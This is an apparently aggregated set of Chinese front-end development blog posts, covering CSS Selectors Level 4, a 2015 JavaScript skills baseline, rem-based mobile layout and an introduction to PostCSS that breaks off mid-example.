    <li><a href="example.PDF" onclick="return false;">example.PDF</a></li>
    <li><a href="example.Pdf" onclick="return false;">example.Pdf</a></li>
  </ul>
    

  <p>In non-supporting browsers, only the first link is red. In supporting browsers, all links are red.</p>

  <p class="p">Demo by Louis Lazaris. <a href="http://www.sitepoint.com/future-generation-css-selectors-level-4" target="_blank">See article</a>.</p>

</div>





CSS:


body {
  line-height: 2em;
}

.c {
  width: 500px;
  margin: auto;
}

.p {
  text-align: center;
  font-size: .9em;
  padding-top: 100px;
}

form div {
  padding: 10px;
}

a[href$="pdf"] {
  color: red;
}

a[href$="pdf" i] {
  color: red;
}



View this code on codepen


:blank伪类


[:blank]伪类和:empty有点类似，在The Current Generation of CSS3 Selectors一文中介绍了empty的用法。用empty可以选择没有子元素的元素，不管其子元素是一个元素、文本节点还是空白节点，因此如果元素即使只包含一个空格，也不被认为是"empty"的。


然而，:blank伪类将选择没有文本和其它子元素，包含空白的元素，它能包含空白、换行符等，这依然是有合格的。


HTML如下 :


<p></p>

<p> </p>



第一个段落是完全的空元素，但第二个有一个空白字符。CSS如下：


p:blank {
  outline: solid 1px red;
}

p:empty {
  border: solid 1px green;
}



在这个示例中，对“blank”元素应用了红色的外轮廓，对 “empty”元素应用了绿色的边框。:empty仅选择第一个段落，因为它是完全的空元素；:blank则选择两个段落。


可能很难记住二者的差别，因为名字很相似，规范中也记录了一些问题，这个选择器可能会更名。


浏览器对 :blank的支持：没有浏览器支持。


Matches-any伪类: :matches()


:matches()伪类是使选择分组更简洁的一种方式，当浏览器对其的支持情况得到改善时，是对规范很有用的一个补充。


在MDN的一个示例中，CSS如下：


section section h1, section article h1,
section aside h1, section nav h1,
article section h1, article article h1, 
article aside h1, article nav h1,
aside section h1, aside article h1,
aside aside h1, aside nav h1,
nav section h1, nav article h1, 
nav aside h1, nav nav h1, {
  font-size: 20px;
}



用:matches()，能将其简化：


:matches(section, article, aside, nav)
:matches(section, article, aside, nav) h1 {
  font-size: 20px;
}



简化的版本可以解释为：对这四个元素，如果h1在任意一个之内，并在任何相同的四个元素之内，则应用后面的规则。


需要注意的是：



	以往的规范中是使用:any，需要添加-moz-和-webkit-私有前缀。

	正如CSS-Tricks指出的，原则同选择器在预处理器中的嵌套规则。

	该选择器的参数必须是一个”简单选择器“(不能是一个伪元素；除了子节点，不能使用连接符)



浏览器对 :matches()的支持：没有浏览器支持。但WebKit/Blink和Mozilla有等效的渲染选择。


相关伪类： :has()


:has() 伪类类似于JQuery中的.has()方法，但前者有更广泛的能力。看一个示例就清楚了。注意代码中的注释，它解释了每一个示例选择什么元素。


/* Section elements that contain a footer */
section:has(footer) {
  background: #ccc;
}

/* Any element containing a p element with a class of "alert" */
:has(p.alert) {
  background-color: red;
}

/* img element with paragraph immediately following. */
img:has(+p) {
  color: red;
}

/* list item with ul as a direct child */
li:has(> ul) {
  color: red;
}



注意，:has()存在编辑草案中而不是工作草案中；也正如Ralph在评论中指出的那样，这个选择器仅能通过JavaScript才可用(类似querySelectorAll)，而不是CSS。规范说明


浏览器对 :has()的支持：没有浏览器支持。


超链接伪类： :any-link


:any-link选择器是为任何具有href属性指定样式的快捷方式，包括a、area和link元素等，也能按照下面的方式使用：


:link, :visited {
  color: #555;
}



作为代替，应该这样写：


:any-link {
  color: #555;
}



需要注意的是，在工作草案中有一个:local-link伪类，已经在编辑草案中被移除。


浏览器对 :any-link的支持：Chrome, Opera, 和Firefox(需要私有前缀)


输入焦点伪类： :focus-within


这是一个有趣的选择器,我可以明确地看到它是有用的。:focus-within不仅会选择获得焦点的元素，还会选择其父元素。


示例的HTML:


<div>
  <label for="email">Email:</label>
  <input type="email" id="email">
</div>



CSS如下：


input:focus-within {
  outline: yellow solid 1px;
}



这不仅会导致获得焦点的input元素有黄色的外轮廓，其父元素div也有同样的外轮廓。


浏览器对 :focus-within的支持：没有浏览器支持。


拖放伪类： :drop 和 :drop()


在APPs中，拖放是很基础但又重要的功能。这两个选择器在改善用户体验上是很有价值的。
:drop选择器可以设置放置区样式（将要防止被拖动元素的地方），元素在用户的拖动期间是可放置的。


.spot {
  background: #ccc;
}

.spot:drop {
  background: hotpink;
}



用户没有拖动时，.spot元素会有一个灰色背景；但当用户开始拖动.spot元素时，其背景色会改变，直到元素被放下。


:drop() 的值为下列中的一个或多个关键字：



	
active:为被拖动的元素显示当前的放置目标

	
valid:显示与被拖动元素相关联的放置目标是否有效

	
invalid:和前一个相反，如果与被拖动元素相关联的放置目标无效则为其应用样式



应用多关键字将让事情更具体，如果没有给予参数，其行为和:drop一样。


注意：



	工作草案规范有一组完全不同与此的伪类，因此这些选择器仍在变化中

	
drop()是有"危险的"，有可能被移除



浏览器对 :drop 和 :drop()的支持：没有浏览器支持


提名奖


除了上面提到的，还有一些新特性我不打算细讲，但也值得简单提一下：

* 列连接符（||）:用于定义table和grid中的列和单元格之间的关系

* :nth-column()和:nth-last-column()伪类用于指定table和grid中的特定列

* attr()：属性节点选择器，是第一个非元素选择器

* 后代选择器由>>代替（而不仅是一个空格字符）

* :user-error伪类：为用户输入的数据不正确的文本框设置样式

* @namespace：定义命名空间

* :dir()伪类：根据方向来选择元素（如ltr）

* :scope伪类：为选择元素提供一个作用域或引用点

* :current, :past, 和 :future伪类：定义目标元素在时间进程上的样式，如一个视频字幕。

* :placeholder-shown伪类：定义表单元素中placeholder值不为空的input元素的样式


结束语和更多信息


正如之前提到的，这些功能非常新，并没有被很好的支持，仅展示了浏览器支持的信息和demos。


为了跟上进展，这里有一些关于CSS 4的资源：



	Selectors Level 4 Working Draft

	Selectors Level 4 Editor’s Draft

	CSS4 Rocks

	CSS4-Selectors

	Selectors Test



译文出处：http://www.ido321.com/1590.html



  本文根据@Louis Lazaris的《The Future Generation of CSS Selectors: Level 4》所译，整个译文带有我自己的理解与思想，如果译得不好或有不对之处还请同行朋友指点。如需转载此译文，需注明英文出处：http://www.sitepoint.com/future-generation-css-selectors-level-4/




 [ 学习路线 ] 2015 前端(JS)工程师必知必会 (2)

作者：kraaas

来源： [ 学习路线 ] 2015 前端(JS)工程师必知必会 (2)



                    

  转自：前端外刊评论

  非常感谢，翻译的很好，受益很多，转到此处让前端小伙伴们也惊呆下........




上次我写《前端工程师必知必会》已经是三年前了，那是我写过最火的文章了。三年了，我仍然会在Twitter上收到关于这篇文章的消息。


从2012年到现在，一篇文章都没发过让我觉得有点羞羞哒。三年是一段很长的时间，很多东西都发生了改变。2012年，我鼓励同学们去学习浏览器开发者工具和模块化；虽然有很多同学会觉得CSS预编译和客户端模板引擎并不靠谱，但我仍然想要说一说它们；还有JSHint，虽然有#getoffmylawn（滚出我的地盘）的警告，但依然无法阻止JSHint成为一个受欢迎的理念（准确的说，JSLint真的（只是）存在过）。


已经是2015年了，我想写一篇新的，但是当我坐下来开始动笔的时候，想到了两个事情。一，这些东西被称作“必知必会”可能有人会觉得不太公平——如果你已经觉得2012年的那篇文章如此，那本文也是一样的了。也许有同学会说，我们应该把 “足够应付业务需求的技能” 作为 “前端必须掌握的知识”，但考虑到前端行业里也有各种各样的工作可供选择，这么做也只能得到一个并不适合所有人的 “前端基础知识”。对于我来说，我需要的不是工作，我想要的是被邀请去做一份牛逼的工作。我想要的不只是去干活而已，而是想和一群牛逼的人一起做牛逼的事。我不想仅仅满足于用已有的知识来完成现在的工作，而是希望掌握更多的知识来解决未来将会面对的问题。


第二，我现在已经完全把Javascript作为我的核心了：CSS知识只有在必须关注性能问题时才会用到，其他场景已经用的越来越少。我知道有很多牛逼的前端同学并不是这样的，但我也意识到，关注JS的同学和关注CSS的同学之间的距离也越来越远。这可能需要在另起一篇文章来讨论，不过我想说的是，这篇文章中不会有介绍CSS技能标准的内容，因为我还远远没有达到能那么做的水平。


总之，就算这个技能列表并不适合你的前端工作，没关系，不要有压力，地球也不会爆炸。


Javascript


回想2009年，那时候当你知道 HTML5 在2014年才能用的时候，你是不是觉得这辈子基本上都用不到它了？如果是，那么你需要准备好接受进展缓慢但是已经趋于稳定的ES6了，它也是下一代的Javascript（现在叫 ES2015 了，嗯，这名字至少表示今年就能用了）。就我而言，ES6，额，ES2015 无疑是我个人现在最关注的 Javascript 内容。在 ES6 中将会出现一些比较大的变化：类，真正的私有，经过改进更易用的函数和参数设定，可导入的模块，等等等等。那些掌握和理解新的语法的同学以后将会在 JS 社区牛逼闪闪。相关阅读：



	
Understanding ES6，Nicholas Zakas 正在写的书。

	BabelJS，一个可以把你写的 ES6 的代码编译成 ES5 并在现代浏览器中运行的工具。他们也有一个不错的介绍 ES6 的文档。

	
ES6 Rocks，里面有大量的文章探索 ES6 的特性，语义和缺陷。



你也许会问：那我需要成为一个 ES6 专家么？也许现在不需要，但至少你得和你的同事懂的一样多吧？或者比他们稍微多一点？当然，如果能在你的下一个新项目中作为一个娱乐性的技术尝试也是不错的，做好准备肯定没错的，因为我们永远不知道下一刻会发生什么。


先不说新的语言特性，使用回调和 promises 管理异步 Javascript 至少得背的滚瓜烂熟吧。浏览器端应用加载，以及应用间通信策略得形成一套自己的观点吧。而且你应该知道哪种框架最适合你，而不是现在还把时间花在理解各种框架的实现原理和该选择哪种框架上。


模块化和构建工具


毫无疑问，模块化是构建 Web 客户端应用的基石。回到2012年，关于使用哪种模块化（AMD/CommonJS）方案构建浏览器端应用还存在很多争论。而最近慢慢火起来的 UMD 则在保证代码可复用的前提下尝试避免这样的问题。 其实也没什么好争得，毕竟这俩玩意儿之间也就差几个字符吧？


我觉得类似这样的争论其实并不都需要有一个答案，这也是我觉得从2012年到现在我们发生的最大的转变，当然，也许只是我自己这么认为。因为我觉得与其说“我再也不用 AMD 了”之类的话，倒不如多去讨论 “在开发和打包过程中使用 CommonJS 和 npm 遇到的各种难题” 来的更有价值。


虽然很感激 RequireJS 曾经对模块化做出的贡献，不过现在我开始有点迷恋 webpack 了。 webpack 的构建配置比 RequireJS 更加易于理解，也更具访问性。通过它的热插拔特性和内置的本地静态服务器可以让发布更加便捷。它并不强制要求使用 AMD 或者 CommonJS – 两个它都支持。它还实现了一大堆加载器，用来完成常见的繁琐工作。 Browserify 也值得去了解一下，不过我个人认为它比 Webpack 落后很多。一些靠谱的朋友告诉我说 systemjs 也是这个领域的竞争者，不过我还没有用过，而且它的文档烂的我连看都不想看。不过我觉得它的好基友 jspm (包管理器)比较有趣，jspm 可以让你从各种包管理服务器加载你需要的各种组件，(组件必须是符合 ES6, AMD, CommonJS and globals 规范的)，包括 npm, github 等，但是我对于这两个玩意的合体还是有点不太理解。啊，还有，虽然我说了这么多关于模块化之外的内容，但我从来没想过放弃 AMD，我们边走边看吧。


我觉得如果要停止对模块化和构建工具的争论，形成统一的模块化系统，并且在这个系统里面，任何项目的代码都可以共享，而且还不需要 UMD 这样额外的补丁工具，我们还有很长的路要走。理想状况下，ES6 modules 的到来会解决这些问题，不过在这一天到来之前，类似 UMD 之类的转换器会填补这些空缺，不过貌似这样做我们又把事情变得复杂了，好像我们也总喜欢把事情弄得复杂。


与此同时，前端开发人员也需要对构建工具，各种模块化系统有自己的见解和知识储备。不管是好是坏，根据 Javascript 现在的进度，你的模块化策略会对你的项目有比较大的影响。


测试


客户端的代码测试变得越来越普遍，最近也诞生了一些新的测试框架： Karma，Intern 。我发现基于 promise 的 Intern 的异步测试方法相当优雅。不过可能是因为习惯，我大多数情况下还是用 Mocha 写测试用例。


测试的主要障碍其实是前端开发者的代码编写方式。我在2012年发表过一个关于《编写可测试的Javascript》下载地址的演讲，紧接着几个月后又发表了一篇相关的文章。


测试的第二大障碍是工具。Webdriver 是一个艰难而巨大的工作。目前在各个浏览器端做持续集成的 UI 自动化测试基本上是不可能的，更不用说移动端了。我们仍然停留在局限于某一小部分浏览器和设备上做轻量级的自动化功能测试，尽我们所能去研究怎样快速，低成本的进行这种测试的阶段。


如果你对如何改进代码的可测试性感兴趣的话，那么唯一一本最值得看的书是 Working Effectively with Legacy Code （中译版：《修改代码的艺术》。作者 Michael Feathers 定义了“遗留代码”的概念：任何未经测试的代码都是遗留代码。在测试领域，最基本的要素就是上面这句话，尽管你可能不这么认为。


流程自动化


你首先会想到 Grunt，这也是理所当然的。而 Gulp 和 Broccoli 的自动化构建方式也别具匠心。我没用过Broccoli，只玩过Gulp，我也开始意识到Grunt对于依赖其他服务的复杂任务的自动化工作存在局限性，尤其是当这种任务每天需要运行上千次的时候。


Yeoman是在我写完2012年的那篇文章仅仅45天之后发布的，我承认当时我并没有及时去尝试一下。不过最近我开始启动一些新项目，这些新项目有两个特点
a) 这些项目都是从零开始
b) 尝试用一些不同的技术方案，试图通过这种方式找到 Bazaarvoice（提供第三方点评服务）上第三方 JS 应用的规范化的开发方式。
Yeoman 在这两方面做的都很好。一个简单的 yo react-webpack 命令就可以为你初始化好你的项目，然后各种你想要的玩具也都应有尽有：生成测试用例，本地静态服务器，hello world 入门程序，等等等等。如果 React 和 webpack 不是你想要的，也许你会在 Yeoman 的 generators（项目生成器）里面找到一个你想要的，当然，自己自定义一个这样的构建包也是比较容易的。


鉴于 Yeoman 只是一个在项目开始时才会用到的构建工具，并且鉴于我们并不是总是做新项目，所以大多情况下了解一下就够了。除非，你也想去规范整个项目开发过程，那么它可能会更有价值一点。


Broccoli 已经得到了 ember-cli 的采纳，我觉得他们的配对可能会有一个新名字，这样在未来才比较方便和 Grunt /Yeoman 对抗。而 Grunt 和 Yeoman 的开发进度也放缓了，所以未来会发生什么，我们还是静观其变吧。


代码质量


如果你像我一样，一看见违反代码规范的代码时就开始抓狂，那么 JSCS 和
ESLint 就是老天赐给你的礼物，而2012压根就没这些玩意。他们都提供了自定义代码规范的方式，并且可以在代码提交前对你的代码做自动化校验。这让我想起了…


Git


从2012年到现在，github 的使用流程并没有发生很大的变化，比如在 pull request 页面连个分支名都没有（只是恶搞一下）。


你应该非常清楚和流畅地使用功能分支（feature branches）, 使用 rebase 合并别人的代码干活，使用交互式 rebase 命令和 squash 合并提交记录，或者尽可能细颗粒度的划分项目内容，避免引起代码冲突。另一个可用的 Git 工具是钩子，具体而言，就是你可以在 push 前，commit 前，执行你的各种测试用例，检查代码质量。你可以自己写钩子，也可以使用 ghooks ，由于 ghooks 使钩子工作变得非常简单，所以你简直没有理由不用它。


客户端模板


这可能是我在2012年的那篇文章中写的最烂的内容了，某种意义上的“烂”。客户端模板还是很有价值的，而且它已经被内置到 ES2015 里面了，这不仅仅只是一件好事而已。这些年也有一些惨重的教训，不少团队把所有的渲染工作全部丢到浏览器端去做，结果产生了严重的性能问题，所以 “在浏览器端渲染生成所有 HTML” 的做法理所当然的被摒弃了。 而更为聪明的做法则是，把 HTML 生成放在服务器端，或者通过预编译的方式，先将模板做为静态资源储存起来，在需要时快速的编译成 HTML，需要更新时也可以直接在客户端更新模板。


这里会有一些新的展望，不仅是对我自己，也是对所有人，当你在考虑性能问题时，也许没必要把自己完全限定在浏览器范围内。所以，这又让我想起了……


Node


听说你懂 Javascript，那么我觉得你也应该懂 Node，至少在遇到 Node 问题是能帮得上忙的，如果连忙都帮不上，那也至少深入研究一下吧：Node 的文件系统，流，服务器，完全不同于前端的一些开发模式等等。对后端敬而远之只会限制我们前端的发展潜力。


即使你的真实生产环境中后端不用 Node，当你的工作被后端限制或阻碍的时候，Node 也是一个非常有用的工具。最起码，你也应该熟悉怎么去初始化一个 Node 项目，怎么用 Express 搭建服务器设置路由，怎么使用请求模块代理请求。


最后


感谢 Paul, Alex, Adam, Ralph 对本文的 Review，感谢他们毫不吝啬的指出我的不足之处，并给我提了很好的意见。


就这样，祝你好运。也许，三年之后我们会再见。


原文链接: A Baseline for Front-End ‘JS’ Developers: 2015


 移动端web app自适应布局探索与总结

作者：邓木琴居然被盗用了

来源： 移动端web app自适应布局探索与总结



                    
1、困扰多时的问题

在这之前做web app开发的的时候，在自适应方面一般都是宽度通过百分比，高度以iPhone6跟iPhone5之间的一个平衡值写死，我们的设计稿都是iPhone5的640 * 1136标准，所以高度一般取个大概值，各种图标的宽高也是取平衡值写死，然后部分样式通过媒体查询来设置，例如背景图的多倍图、基础字体大小、图标宽高。


这样做的弊端很明显：


	做出来的页面在各种手机端看起来的物理大小（高度）是一样的，所以在大屏手机会觉得页面稍小，小屏手机页面稍大


	如果要使高度能更好的适应各种手机屏幕，需要写太多的媒体查询样式，效率低下


	全屏背景图片跟页面元素需要耦合时，元素位置的确定尤为困难（可能需要通过百分比去确定元素的横向位置，但始终会有误差）


	...






最近在微博上看到流云诸葛总结的一篇文章《从网易与淘宝的font-size思考前端设计稿与工作流》，其中介绍到的几种web app适配方案，我们现在的做法恰好是跟拉勾网类似的简单方案，当然就会有上面我提到的一些问题，最后经过预研和demo测试，我们采取了网易跟淘宝的方案，其实这两者的方案是大同小异，都是基于rem的适配方案。

2、解决问题的方案

网易跟淘宝的方案介绍在上面流云诸葛的文章中已经写的很清楚了，建议可以先看看那篇文章再阅读下面我所说的，可能会更加清晰。

（1）方案的简单介绍: 基于rem

前提：页面元素的布局尺寸全都以设计稿为基准等比例设置。



给html根节点设置一个基础font-size值，然后页面的所有元素布局均相对于该font-size值采用rem单位设定。那么基础的font-size值该如何取呢？

假如通过媒体查询设置font-size，只能解决一部分的情况，而且并不能完成适配，因为手机屏幕宽度类型实在太多了，所以font-size的取值要通过js计算，取当前viewport的deviceWidth与设计稿的宽 的 比例值，例如：我们的设计稿尺寸都是640px的，iphone5的deviceWidth是320px，那么计算出来的font-size值就是 320 / 640 = 0.5，因为得出的font-size太小，不方便计算，且有的浏览器可能不兼容太小字号，所以将font-size放大100倍，所以最终计算出来的font-size为 320 / 640 * 100 = 50(px); 当然，这个值是根据设计稿来计算的，所以根据计算规则，下面列出几种常见设计稿相应的font-size值：

deviceWidth = 320，font-size = 320 / 6.4 = 50px
deviceWidth = 375，font-size = 375 / 6.4 = 58.59375px
deviceWidth = 414，font-size = 414 / 6.4 = 64.6875px
deviceWidth = 500，font-size = 500 / 6.4 = 78.125px



可在script标签加上如下代码

(function () {
    document.addEventListener('DOMContentLoaded', function () {
        var html = document.documentElement;
        var windowWidth = html.clientWidth;
        html.style.fontSize = windowWidth / 6.4 + 'px';
        // 等价于html.style.fontSize = windowWidth / 640 * 100 + 'px';
    }, false);
})();

// 这个6.4就是根据设计稿的横向宽度来确定的，假如你的设计稿是750
// 那么 html.style.fontSize = windowWidth / 7.5 + 'px';

至此，font-size的基础值就确定好了，而且知道该font-size值是手机deviceWidth跟设计稿的比例值 的 100倍（重要）

（2）那么页面元素该如何设置宽高、边距...

例如：一个设计稿宽高为140px的图标，左边距为50px，那么它的css应该这样写

.icon {
    width: 1.4rem; /* 像素换算rem：140px / 100 = 1.4rem */
    height: 1.4rem;
    margin: 0 0 0 .5rem;
}

因为html的font-size是放大了100倍，所以计算rem时，要用设计稿的实际像素除以100，140px / 100 = 1.4rem; 最后实际的像素大小就会由deviceWidth跟设计稿的横向宽 的 比例 自动计算出来。

如图iPhone5下面的效果：


iphone6的效果：


可以看出来：html的font-size动态根据deviceWidth改变，图标的宽高、边距等也根据font-size动态按比例变化，大功告成了？不对，相信机智的你已经看到貌似在iPhone6的下有的图标背景错位了。。是的，这暴露出了一个背景使用雪碧图的一个弊端（由于font-size小数点太多，计算出实际背景图大小background-size跟背景图位置background-position时浏览器精度不够可能就会出现位置的偏差（我猜的），这个后面还会详细讲解决方案）

到这里，设置宽高、边距等都OK了，接下来...

（3）其他元素的字体大小该如何设置？

在流云诸葛的文章中讲到，网易跟淘宝的做法都是使用额外的媒体查询设置几种字体大小，例如：

@media screen and (max-width: 320px) {
    body{font-size: 14px;}
}
@media screen and (min-width: 321px) and (max-width: 413px) {
    body{font-size: 16px;}
}
@media screen and (min-width: 414px) and (max-width: 639px) {
    body{font-size: 17px;}
}
@media screen and (min-width: 640px) {
    body{font-size: 18px;}
}

可为什么不用rem呢？后来去查了一番资料，发现有一种叫做点阵字体的存在（什么是点阵字体），也叫作位图字体，位图我们都知道，跟矢量图是有区别的，就是放大会模糊，所以点阵字体也是放大会模糊的，如果根据rem设置字体大小，字体会自由缩放，可能就会导致点阵字体模糊，所以需要设定使用几种固定大小的字体。不过，在正常情况下，系统自带的字体都是矢量字体，所以使用rem为单位是没有问题的，除非你的网页需要用到特殊的点阵字体。

总结：如果网页没有用到特殊的点阵字体，字体单位使用rem，如果用到了点阵字体，字体需要通过媒体查询设置几种固定大小的字体



（4）关于背景图片的错位问题

上面已经发现了，通过换算rem设置background-size跟background-position的时候，在一些手机型号下会出现背景图错位的情况，可是如果不用rem设置的话，又不能达到适配的目的。（background-size、background-position的rem换算方法跟前面讲的宽高设定一样，都是设计稿尺寸（这时应该是雪碧图的原始尺寸）除以100倍）

最后经过尝试，得出了几种解决方案：
1、如图（推荐方案）：


图标的样式

.icon {
    width: 1.4rem;
    height: 1.4rem;
    background-image: url(sprite.png);
    background-repeat: no-repeat;
    background-size: 1.4rem;
}

.icon3 {
    background-position: 0 -2.8rem;
}

解决方法，如图：




代码如下：

.icon-fix {
    background: none;
    position: relative;
    overflow: hidden;
}

.icon-fix:after {
    content: '';
    display: block;
    width: 10000%;
    height: 10000%;
    position: absolute;
    left: 0;
    top: 0;
    background-image: url(sprite.png);
    background-repeat: no-repeat;
    background-size: 140rem;
    -webkit-transform-origin: 0 0;
    -webkit-transform: scale(.01);
    transform-origin: 0 0;
    transform: scale(.01);
}

.icon3:after {
    background-position: 0 -280rem;
}

所有相关代码 传送门

2、不使用雪碧图，使用单个背景图，这个时候就不存在background-position的需要，只需设定background-size: contain;即可，这样做的弊端就在于无法使用雪碧图，图片请求增多，适用于页面图标较少的情况

3、使用嵌套img标签，通过绝对定位模拟background-position，具体请看 responsive-sprites，这种做法需要更多的标签，且img图片只能放图标尺寸大小一样的雪碧图，而且不能通过媒体查询使用多倍图

以上3中解决方案第一种最优，当然有些特殊情况可能需要按需选择！

最后发现一篇研究rem产生小数点像素的问题的文章，感兴趣的可戳 《rem 产生的小数像素问题》

3、写在最后

关于web app的探索之路还很长，以上纯粹个人在学习过程的一些探索和研究，肯定会有不足和错漏的地方，只有在不断的实践中去修正。如果大家发现其中有错或不好的地方，欢迎提出共同研究，也欢迎大家有更好的方案可以跟我分享研究！

感谢你的阅读！


 PostCSS 是个什么鬼东西？

作者：小撸

来源： PostCSS 是个什么鬼东西？



                    
前言

最近大漠前辈在群里发关于PostCSS的系列文章，但是耗子姐姐又说看了有点云里雾里的感觉，所以这篇文章将按一个思考的角度来理解一下 PostCSS 到底是一个什么东西。



一、提出不懂的地方

很多时候第一次在网上查询 PostCSS 概念的时候，大家都解释成一个后处理器的概念，其实个人觉得这些概念不重要，更为重要的有以下几点：


	它本质上是一个什么东西？


	它能解决我们什么问题？


	它是通过什么方式来解决我们的问题？


	它解决我们的问题是为什么？


	怎么实现与 SASS、LESS、Stylus 相同的功能（因为它们被经常拿来比较）


	它由哪些东西组成？


	既然是程序可以用的，那么它的API呢？




Q: 这个时候，你应该会问：为什么要将组成和API放到最后呢？

A: 那是因为我们在认识一个不太清楚的东西的时候，第一次肯定是一个直观的认识：它到底有什么用？而不会说，一来就去深入的研究它。不过这里本质还是要先说一下的，先留个印象。

二、个个击破

1. 它本质上是一个什么东西？

	PostCSS 可以直观的理解为：它就是一个平台、平台、平台，重要的事情来三遍比较爽，哈哈！




为什么说它是一个平台呢？因为我们直接用它，感觉不能干什么事情，但是如果让一些插件在它上面跑，那么将会很强大。



	PostCSS 提供了一个解析器，它能够将 CSS 解析成抽象语法树（AST）。




上面两条看完后，我们可以理解为下面这个模型。



所以说，PostCSS 它需要一个插件系统才能够发挥作用。我们可以通过“插件”来传递AST，然后再把AST转换成一个串，最后再输出到目标文件中去。当然，这里是有API可以用，这里先不讲，免得晕了。

2. 它能解决我们什么问题？它是通过什么方式来解决我们的问题？

上面的图很清晰，但是我还是不知道是个什么东西！所以接下来温和点，直接从代码层面来感官的认识一下。


	它能够为 CSS 提供额外的功能；


	通过在 PostCSS 这个平台上，我们能够开发一些插件，来处理我们的CSS，比如热门的：autoprefixer


	我们能够使用JavaScript来开发插件（这点对前端来说很重要）




好吧，看到一个熟悉的单词了：autoprefixer，这里我们就让它来当栗子吧，可能更容易理解一点。

首先，我们需要做一些准备，安装好需要的东西。

// postcss 的命令行工具
sudo npm install  -g postcss-cli
// autoprefixer 插件
sudo npm install -g autoprefixer


第一次用命令行能让你更直观去理解它哈，所以请要有一颗折腾的心。

// 1. 先看下这个命令有哪些参数可以用
postcss --help

Usage: /usr/local/bin/postcss -use plugin [--config|-c config.json] [--output|-o
output.css] [input.css]

选项：
  -c, --config       JSON file with plugin configuration
  -u, --use          postcss plugin name (can be used multiple times)
  -o, --output       Output file (stdout if not provided)
  -d, --dir          Output directory
  -r, --replace      Replace input file(s) with generated output       [boolean]
  -s, --syntax       Alternative input syntax parser
  -p, --parser       Alternative CSS parser
  -t, --stringifier  Alternative output stringifier
  -w, --watch        auto-recompile when detecting source changes
  -v, --version      显示版本号                                        [boolean]
  -h, --help         显示帮助信息                                      [boolean]

示例：
  postcss --use autoprefixer -c             Use autoprefixer as a postcss plugin
  options.json -o screen.css screen.css
  postcss --use autoprefixer                Pass plugin parameters in
  --autoprefixer.browsers "> 5%" -o         plugin.option notation
  screen.css screen.css
  postcss -u postcss-cachify -u             Use multiple plugins and multiple
  autoprefixer -d build *.css               input files

Please specify at least one plugin name.


PS: 我贴出来是方便大家在看的时候不用电脑……^_^

好吧，先看一下文件目录，这里我只说一下比较好写的方式，就是将一些参数配置到配置文件中去。



// config.json: 所有的配置
// p.json: 仅有 autoprefixer 插件的配置

// config.json 的内容
{
    "use": ["autoprefixer"],
    "input": "src/index.css",
    "output": "index.css",
    "autoprefixer": {
        "browsers": "> 5%"
    }
}

// p.json 的内容
{
    "autoprefixer": {
        "browsers": "> 5%"
    }
}


接下来我们在终端里面输入：

// 最简洁的方式
postcss -c config.json
// 稍微复杂一点的方式，这里要用 -i 参数，help里面没有，我是从config.json里面的配置猜出来的，官方的那个写法出不来
postcss -u autoprefixer -c p.json -i src/index.css -o index.css
// 最复杂的方式
// 还是不写比较好。。。


跟平时想到的效果一样：


// src/index.css 中的源码
`* {
    transition: all .1s;
}`
// 转换过后的代码 index.css
`* {
    -webkit-transition: all .1s;
        transition: all .1s;
}`


好吧，现在肯定就对 PostCSS 有一个感官的认识了，接下来就是需要自己动手去用一下 cssnext 这个插件了～看会发生什么，这里就不写了，也挺好用的，不过应该还是草案状态。

我们开发不可能用命令行吧，所以这里再接着介绍代码编写，然后用 node 去执行文件的方式。直接上代码吧。

// 1. 先安装一下需要的库
npm install postcss --save-dev
npm install autoprefixer --save-dev

// 2. 其实应该先看看 postcss 的 package.json 文件，来看看包含了些什么，留个印象

// 3. p.js 中的代码
var postcss = require('postcss');
var autoprefixer = require('autoprefixer');
var fs = require('fs');

var css = '* { transition: all .1s; }';

postcss([autoprefixer])
    .process(css)
    .then(function(result) {
        // 这一行是学习的时候需要的，看一下到底对象里面包含什么
        console.log(result);
        if (result.css) {
            fs.writeFileSync('index.css', result.css);
        }
        if (result.map) {
            fs.writeFileSync('index.css.map', result.map);
        }
    });

// 4. 执行 p.js
node p


好吧，最后的结果和之前用命令行的方式一样，只不过过程不同。这样下来应该对 PostCSS 有了更多的感觉了吧。还没完，不用慌～我们还需要提出一个问题，我都有 SASS 等预处理器了，还拿它来不是又给前端届添乱么？因为这2年东西确实太多了～

记住一句话：存在即合理



既然合理，那么我们就看看它有什么优势呗～

3. 它解决我们的问题是为什么？优势何在？

比如，我们用 SASS 来处理 box-shadow 的前缀，我们需要这样写：

/* CSS3 box-shadow */
@mixin box-shadow($top, $left, $blur, $size, $color, $inset: false) {
    @if $inset {
        -webkit-box-shadow: inset $top $left $blur $size $color;
        box-shadow: inset $top $left $blur $size $color;
    } @else {
        -webkit-box-shadow: $top $left $blur $size $color;
        box-shadow: $top $left $blur $size $color;
    }
}


使用 PostCSS 我们只需要按标准的 CSS 来写就行了，因为最后 autoprefixer 会帮我们做添加这个事情～

box-shadow: 0 0 3px 5px rgba(222, 222, 222, .3);


所以，这里就出现了一个经常大家说的未来编码的问题。实际上，PostCSS 改变的是一种开发模式。


	SASS等工具：源代码 -> 生产环境 CSS


	PostCSS：源代码 -> 标准 CSS -> 生产环境 CSS




这样能体会出优势吧，但是目前大家都是 SASS + PostCSS 这样的开发模式，其实我认为是不错的，取长补短嘛，当然，在 PostCSS 平台上都是可以做到的，只是目前这个过渡期，这样更好，更工程化。接下来我就介绍一些方法来纯粹是用 PostCSS。

4. 怎么实现与 SASS、LESS、Stylus 相同的功能

其实这一节我都不需要写了～列一下插件就行了，因为插件才是实现，PostCSS 只是提供了一个平台。

其实可以去官方看看：插件系统
这里列几个便于理解的插件


	postcss-each


	postcss-for


	postcss-mixins


	postcss-extend




从名字就能看出来了吧～应该很好理解。

5. 它由哪些东西组成？

其实从官方介绍来看，只包含以下内容：


	CSS Parser


	CSS 节点树 API


	source map 生成器


	生成节点树串




英文不太好 ＝＝ ，就这 4 部分吧，从第一个图其实也能够看出来。

其中的 I/O 体现在什么地方呢？好吧，很容易想到，主要体现在：


	Input: 插件程式和CSS Parser


	Output: 生成节点树串




CSS Parser 可以理解为一个内部过程，而插件程式主要体现在：

postcss([ autoprefixer ])


最后生成的节点树串体现在：

postcss().process().then(function (result) {
    // 就是这里了
    console.log(result.css);
});

// 现在我贴一下上面 result 对象的一个输出结果
// 这里我多引入了一个 cssnano 插件
// 改变的代码就这点，为了更全的看 result
var opts = {
    from: 'src/index.css',
    to: 'index.css',
    // 配置 map
    map: { inline: false }
};
postcss([ autoprefixer, cssnano() ]).process(css, opts)

Result {
    processor: Processor {
        // 处理器的版本号
        version: '5.0.10',
        // 加载的一堆插件
        plugins: [
            [Object], [Object], [Object], [Object], [Object],
